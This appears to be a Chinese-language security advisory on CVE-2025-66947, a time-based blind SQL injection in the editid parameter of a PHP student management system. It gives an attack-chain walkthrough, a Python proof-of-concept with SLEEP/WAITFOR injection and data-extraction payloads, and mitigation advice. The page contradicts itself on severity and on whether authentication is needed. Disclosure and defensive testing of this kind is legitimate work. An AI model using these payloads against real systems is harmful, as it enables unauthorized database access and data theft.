IPBUF安全漏洞报告
English
CVE-2025-66947 CVSS 6.5 中危

CVE-2025-66947: krishanmuraiji SMS v1.0 SQL注入漏洞

披露日期: 2025-12-26

漏洞信息

漏洞编号
CVE-2025-66947
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
krishanmuraiji SMS v1.0

相关标签

SQL注入时间盲注krishanmuraiji SMS学生管理系统CVE-2025-66947Web安全数据库漏洞无需认证管理后台漏洞PHP安全

漏洞概述

CVE-2025-66947是krishanmuraiji SMS v1.0版本中发现的一个高危SQL注入漏洞。该漏洞存在于管理后台的学生班级详情编辑功能中,具体位于/studentms/admin/edit-class-detail.php文件。攻击者可以通过构造恶意的editid GET参数值,无需任何认证即可触发该漏洞。由于应用程序未对用户输入进行充分的过滤和参数化查询,攻击者可以在SQL查询中注入任意SQL语句,包括使用SLEEP()函数进行时间盲注攻击,从而推断数据库内容。该漏洞的CVSS评分为6.5,属于中等严重程度,但由于其网络可达性且无需认证即可利用,潜在危害较大。成功利用此漏洞可能导致敏感数据泄露,包括用户信息、管理员凭据、课程数据等,严重情况下可导致整个数据库被完全控制,对教育机构的数字资产安全构成严重威胁。建议受影响的用户尽快采取修复措施。

技术细节

该SQL注入漏洞存在于krishanmuraiji SMS v1.0的学生管理系统中,具体位置为/studentms/admin/edit-class-detail.php文件。漏洞产生的根本原因是应用程序在处理editid GET参数时,未对用户输入进行充分的输入验证和SQL语句参数化处理。当管理员或攻击者访问该页面并提供editid参数时,程序直接将参数值拼接到SQL查询语句中,而未使用预编译语句或参数化查询进行防护。攻击者可以通过构造特殊的editid参数值,注入恶意的SQL代码。由于该系统未启用安全的SQL查询模式,注入的SQL语句可以被数据库执行。攻击者常利用SLEEP()函数结合条件判断进行时间盲注攻击,通过观察页面响应延迟来判断SQL注入是否成功,进而逐步推断数据库结构和内容。这种攻击方式不需要直接看到数据库输出,而是通过响应时间的差异来获取信息。漏洞存在于管理模块中,虽然理论上需要管理员权限访问该页面,但攻击者可能通过其他方式获取访问路径或利用系统配置缺陷进行未授权访问。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统为krishanmuraiji SMS v1.0,通过目录扫描发现/studentms/admin/路径下的管理接口
STEP 2
步骤2: 漏洞定位
攻击者访问/studentms/admin/edit-class-detail.php页面,识别出editid GET参数存在且未进行输入过滤
STEP 3
步骤3: 注入测试
攻击者构造包含SQL SLEEP()函数的恶意payload,如1' AND SLEEP(5)--,测试漏洞是否存在
STEP 4
步骤4: 时间盲注攻击
通过观察页面响应延迟,攻击者确认漏洞存在后,使用时间盲注技术逐步提取数据库信息
STEP 5
步骤5: 数据提取
利用SUBSTRING()、ASCII()等函数结合条件判断,逐一推断并提取数据库名称、表名、字段及数据内容
STEP 6
步骤6: 权限提升
如果提取到管理员凭据,攻击者可能登录管理后台获取更高权限,或进一步获取服务器操作系统权限
STEP 7
步骤7: 持久化控制
攻击者在数据库中植入后门或修改现有数据,实现对系统的持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2025-66947 SQL Injection PoC # Target: krishanmuraiji SMS v1.0 # Vulnerability: SQL Injection in /studentms/admin/edit-class-detail.php (editid parameter) target_url = "http://target.com/studentms/admin/edit-class-detail.php" def test_sql_injection(): """Test for SQL injection vulnerability using time-based blind technique""" # Normal request - baseline response time start_time = time.time() normal_params = {"editid": "1"} response = requests.get(target_url, params=normal_params, timeout=10) baseline_time = time.time() - start_time print(f"[*] Baseline response time: {baseline_time:.2f} seconds") # SQL injection payload with SLEEP() function # This payload causes a 5-second delay if vulnerable injection_payloads = [ "1' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1", # MySQL "1' OR SLEEP(5)-- -", # Alternative payload "1' WAITFOR DELAY '00:00:05'--", # SQL Server ] for payload in injection_payloads: print(f"\n[*] Testing payload: {payload}") start_time = time.time() params = {"editid": payload} try: response = requests.get(target_url, params=params, timeout=30) elapsed_time = time.time() - start_time print(f"[+] Response time: {elapsed_time:.2f} seconds") if elapsed_time >= 5: print("[!] VULNERABLE! Time-based SQL injection confirmed.") print(f"[!] The application delayed response by {elapsed_time:.2f} seconds.") return True else: print("[-] No significant delay detected.") except requests.exceptions.Timeout: print("[!] Request timed out - possible vulnerability") return True except Exception as e: print(f"[-] Error: {str(e)}") return False def extract_data(): """Extract database information using time-based blind SQL injection""" # Database version extraction payload version_payload = "1' AND (SELECT * FROM (SELECT IF(SUBSTRING(@@version,1,1)='5',SLEEP(3),0))a) AND '1'='1" print("\n[*] Extracting database version...") # Implementation would iterate through characters # and measure response times to determine version # Example: Database user extraction user_payload = "1' AND (SELECT * FROM (SELECT IF(SUBSTRING(current_user(),1,1)='r',SLEEP(3),0))a) AND '1'='1" print("[*] Extracting database user...") # Example: Database name extraction db_payload = "1' AND (SELECT * FROM (SELECT IF(SUBSTRING(database(),1,1)='s',SLEEP(3),0))a) AND '1'='1" print("[*] Extracting database name...") if __name__ == "__main__": print("=" * 60) print("CVE-2025-66947 SQL Injection PoC") print("Target: krishanmuraiji SMS v1.0") print("=" * 60) if test_sql_injection(): print("\n[!] Vulnerability confirmed!") print("[*] Proceeding with data extraction...") extract_data() else: print("\n[-] Target may not be vulnerable or is not reachable.")

影响范围

krishanmuraiji SMS v1.0

防御指南

临时缓解措施
临时缓解措施:在生产环境中,如果无法立即升级或打补丁,可以采取以下措施:1)使用Web应用防火墙规则拦截包含SQL注入特征的请求,特别是包含SLEEP()、UNION、SELECT等关键词的请求;2)限制管理后台的网络访问,仅允许可信IP地址访问/studentms/admin/路径;3)暂时禁用edit-class-detail.php功能或将其设置为需要强认证才能访问;4)实施请求速率限制,防止攻击者进行大规模数据提取;5)增加数据库查询超时限制,降低时间盲注攻击的效率;6)监控数据库日志,关注异常的长时间查询请求。建议尽快应用官方安全补丁或升级到修复版本从根本上解决该问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表